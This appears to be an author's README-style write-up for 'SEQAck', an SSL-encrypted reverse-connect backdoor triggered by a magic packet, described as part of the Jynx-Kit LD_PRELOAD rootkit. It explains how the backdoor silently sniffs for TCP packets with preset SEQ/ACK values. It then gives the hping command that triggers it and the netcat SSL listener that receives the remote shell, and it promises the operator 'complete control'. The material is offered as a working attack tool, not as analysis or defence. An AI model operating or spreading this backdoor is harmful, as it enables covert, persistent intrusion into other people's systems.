SEQ/ACK Reverse Connect SSL Shell

SEQAck is an SSL encrypted, magic packet triggered reverse connect backdoor application. I wrote this as part of the original Jynx-Kit LD_PRELOAD rootkit, as released on from the Blackhat Library. With the second installation of the rootkit, we moved away from the stand alone reverse connection backdoor, and decided to hook accept() system call instead. Not only was it simply to demonstrate another example of creating a backdoor, but it also fit perfectly with what we were doing; making things more modular.

This backdoor silently sniffs on the given interface for all incoming TCP packets. It relies on two defined rules, MAGIC_SEQ and MAGIC_ACK, which are easily manipulated in the TCP headers. Once the magic packet is received, it initiates an SSL encrypted reverse connecting shell to the host that sent the packet, on the given source port. For example, we can initiate the reverse connect with the following hping command.

# hping -M 0xdead -L 0xbeef -s 5000 -c 1

Notice, the source port is 5000, SEQ (-M) is 0xdead and ACK (-L) is 0xbeef. With this example, we'd also need the following nc (netcat supplied with nmap) running in the background to accept the incoming connection.

# nc -l -p 5000 --ssl

And there you have it, the reverse connect shell was successful, and you're in complete control. The idea of using SEQ/ACK values could be applied to a single packet port knock sequence as well, so this application could be easily tweaked or expanded upon based on your requirements